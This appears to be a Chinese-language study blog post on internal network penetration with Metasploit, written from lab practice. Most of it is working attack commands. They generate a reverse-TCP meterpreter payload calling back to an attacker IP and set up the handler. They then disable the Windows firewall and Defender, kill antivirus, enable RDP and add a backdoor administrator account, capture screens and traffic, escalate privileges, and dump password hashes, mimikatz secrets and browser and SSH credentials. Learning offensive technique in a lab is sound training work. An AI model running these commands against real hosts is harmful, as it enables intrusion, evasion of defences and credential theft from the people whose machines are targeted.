内网渗透——信息收集—利用MSF进行信息收集

文章发布时间:

最后更新时间:

写在前面

开启内网渗透的学习啦,感觉这一部分在护网和渗透比赛方面很重要,而且能复习一下计网知识。打算先看个入门视频,然后再去看《内网渗透体系建设》这本书,建立自己的知识体系。加油加油!

内网信息收集

  • 信息收集思路

    1. 系统管理员密码
    2. 用户session,远程桌面开放情况和共享连接记录
    3. 浏览器密码及cookies
    4. windows、数据库密码获取
    5. host文件获取,dns缓存信息收集
    6. 进程、补丁、网络代理、软件列表等信息
    7. vpn历史密码、teamview密码、启动项、iis配置信息等
    8. 一些工具
  • 工具化信息收集 —— msf

    1. msf反弹shell

      反弹shell的目的是什么?

      一般来说目标主机与我们攻击者之间都存在防火墙等安全设备,限制了流入目标主机的流量,导致我们直接连接目标主机会失败。所以我们想让目标主机主动连接我们,这就是反弹shell。

      首先获取到自己主机ip后输入payload

      1
      msfvenom -p windows/meterpreter/reverse_tcp -f exe --platform windows -a x86 -e generic/none LHOST=172.16.80.136 LPORT=444 > '/home/racerz/windows-meterpreter-staged-reverse-tcp-444.exe'

      生成的恶意软件拖进虚拟机,实际是通过webshell上传至目标服务器(需要先拿下webshell权限)

      接下来需要配置会话处理程序

      1
      2
      3
      4
      5
      6
      msfconsole  
      use exploit/multi/handler
      set payload windows/meterpreter/reverse_tcp
      set lhost 172.16.80.136
      set lport 444
      run

      image-20230102002023851

      接下来目标机触发exe程序,这里为了能正常通信只能先关掉防火墙

      可以看到这里会建立一个id为1的会话

      image-20230102002102994

      其次我们通过如下命令从meterpreter命令行切换至目标机shell

      1
      2
      3
      shell
      execute -f cmd -i -H
      #-f指定执行一个可执行程序, -H表示隐藏进程, -i通过创建的进程返回一个操作接口

      回显出来由于操作系统编码不一致会导致乱码问题,可通过解决

      1
      chcp 65001
    2. 通过shell关闭防火墙

      1
      2
      3
      4
      5
      6
      7
      8
      9
      netsh advfirewall set allprofiles state off
      netsh advfirewall show allprofiles

      通过策略添加防火墙规则隐藏行为:
      netsh advfirewall set add rule name="VMWARE" protocol=TCP dir=in localport=5555 action=allow
      # 下面的win10以上已废弃
      netsh firewall add portopening TCP 5555 "VMWARE" ENABLE ALL
      重启让配置生效:
      shutdown -r -f -t 0

      添加策略允许攻击机能够正向的去连接靶机的5555端口而不被拦截

    3. 关闭杀毒软件

      1
      2
      3
      4
      5
      关闭windefend:
      net stop windefend
      关闭杀毒软件:
      run killav
      run post/windows/manage/killav
    4. 打开并连接3389

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      开启3389远程桌面:
      run post/windows/manage/enable_rdp
      run getgui -e

      在目标机器添加用户:
      run getgui -u admin -p admin
      #meterpreter模块的功能,通过-u指定用户名,-p指定密码即可添加用户
      net localgroup administrators admin /add
      #windows通过这个命令添加用户到管理员用户组

      远程连接桌面
      rdesktop -u username -p password ip #Linux
      mstsc.exe #Windows中的远程桌面

      原始目标机远程桌面服务开启情况

      image-20230102095141902

      运行指令,当前目标机处于关闭状态

      image-20230102100243201

      接下来向目标机器添加账户,注意密码需要符号规范(大小写,特殊字符,不少于8位)中途有报错但是通过net user可以看到账户已添加进去

      image-20230102100828363

      之后可以将其添加到管理员用户组

      利用net localgroup administrators可以查看到管理员用户组有哪些用户

      image-20230102101404393

      之前如果没有添加到管理员用户组时会出现本地策略不允许您使用交互式登录的情况,这里需要注意一下

      image-20230102101954839

    5. 桌面截图查看

      1
      2
      3
      4
      5
      6
      7
      screenshot  
      # 会保存屏幕截图到/root下
      use espia # 加载模块
      screengrab
      # 和screenshot一样,但是会自动打开这个图片,个人感觉这个最好用
      screenshare
      # 会生成一个html文件并自动在浏览器打开,并且会不断时时更新跟视频差不多,但是默认保存到/root会有权限限制,复制一下到其他地方在访问即可,另外我打开之后画面完全没出来过,太卡了不建议使用

      image-20230102102502859

    6. 删除指定用户

      1
      2
      3
      4
      use post/windows/manage/delete_user 
      set USERNAME admin2
      set session [sessionid]
      run

      可以通过search cmd来找到指定模块

      可以通过background保证不退出会话,同时执行其他模块

      image-20230102103507408

      接下来再去查看账户可以看到已经删除

      image-20230102103630173

    7. 数据包抓取

      利用sniffer模块抓取目标机流量包

      1
      2
      3
      4
      load sniffer
      sniffer_interfaces
      sniffer_start 1
      sniffer_dump 1 1.cap

      这里可以看到实际就是对指定网卡进行流量捕获

      image-20230102104233335

      利用psnuffle模块进行流量包解码

      1
      2
      3
      use auxiliary/sniffer/psnuffle
      set PCAPFILE 1.cap
      exploit

      image-20230102104458681

    8. 口令破解

      hashdump可以获取到目标机的明文密码以及哈希值(高版本只能哈希值)

      其实际上读取的是系统当中的SAM文件中的内容,解析并提取其中的哈希值

      注意当前模块的使用需要拥有SYSTEM权限

      1
      2
      3
      use post/windows/gather/hashdump
      set session
      exploite

      image-20230102105725319

      一点提权的知识

      getuid可以查看到当前用户权限

      如果是普通用户想要使用hashdump功能则需要先去提权,msf自带一个getsystem功能,其是以一种命名管道的方式获取的SYSTEM权限,但实际上并未达到真正的SYSTEM权限

      image-20230102110124775

      另一种方式通过进程迁移的方式,将当前进程迁移到SYSTEM权限运行的进程上,可以达到真正提权的效果

      以vmtoolsd为例作进程迁移,该进程号为424

      image-20230102110227713

      1
      migrate 424

      image-20230102110342545

      hashdump结果的解读

      用户名:用户id:LM-HASH值:NT-HASH值

      创建的用户id从1000开始,内置及admin(500)是500开始

      image-20230102110615305

      mimikatz模块 hashdump使用的是mimikatz的部分功能

      1
      2
      3
      4
      5
      6
      load mimikatz
      wdigest kerberos msv ssp tspkg tspkg livessp
      mimikatz_command -h
      mimikatz_command -f a:: #查询有哪些模块
      mimikatz_command -f samdump::hashes
      mimikatz_command -f samdump::bootkey
    9. 其他模块的使用

      确定目标主机是否为虚拟机

      1
      run checkvm

      获取目标主机上的软件安装信息

      1
      run post/windows/gather/enum_applications

      获取目标主机上最近访问过的文档、链接信息

      1
      run post/windows/gather/dumplinks

      查看目标环境信息

      1
      run post/multi/gather/env

      查看firefox中存储的账号密码

      1
      run post/multi/gather/firefox_creds

      查看ssh账号密码的密文信息,证书信息

      1
      run post/multi/gather/ssh_creds

      更多模块中的功能使用可以通过search gather查看

      image-20230102111541985

      建议使用的集成信息收集模块

      1
      2
      run scraper
      run winenum

      image-20230102111905554

    10. MSF主机发现

      模块位于路径 modules/auxiliary/scanner/discovery/

      主要有:

      1
      2
      3
      4
      5
      6
      modules/auxiliary/scanner/discovery/arp_sweep
      modules/auxiliary/scanner/discovery/ipv6_mulitcast_ping
      modules/auxiliary/scanner/discovery/ipv6_neighbor
      modules/auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
      modules/auxiliary/scanner/discovery/udp_probe
      modules/auxiliary/scanner/discovery/udp_sweep
    11. MSF端口扫描

      通过search portscan查看模块下的功能

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      auxiliary/scanner/portscan/ftpbounce 
      //通过FTP bounce攻击的原理对TCP服务进行枚举,一些新的FTP服务器软件能很好防范此攻击,单在旧的系统上仍可以被利用
      auxiliary/scanner/natpmp/natpmp_portscan
      //NAT-PMP External Port Scanner
      auxiliary/scanner/portscan/xmas
      //圣诞树扫描.属于较为隐秘的扫描方式,通过发送FIN,PSH,URG标志,能够躲避一些高级TCP标记检测器的过滤
      auxiliary/scanner/portscan/ack
      //通过ACK扫描方式对防火墙上未被屏蔽的断口进行探测
      auxiliary/scanner/portscan/tcp
      //通过一次完整TCP连接来判断端口是否开放,速度较慢
      auxiliary/scanner/portscan/syn
      //使用发送TCP SYN标志方式探测开放端口

      推荐使用SYN扫描

    12. 服务扫描与查点

      确定开放端口之后,对相应端口进行服务探测

      模块位于Scanner下,工具命名方式以如下的方式

      1
      2
      3
      4
      [service_name]_version
      # 可用于遍历网络中包含了某种服务的主机,并进一步确定服务的版本
      [service_name]_login
      # 可对某种服务进行口令探测攻击

      查找相应的服务模块直接search _version/_login

      利用方式的话就是直接use指定之后show options查看选项设置对应的参数即可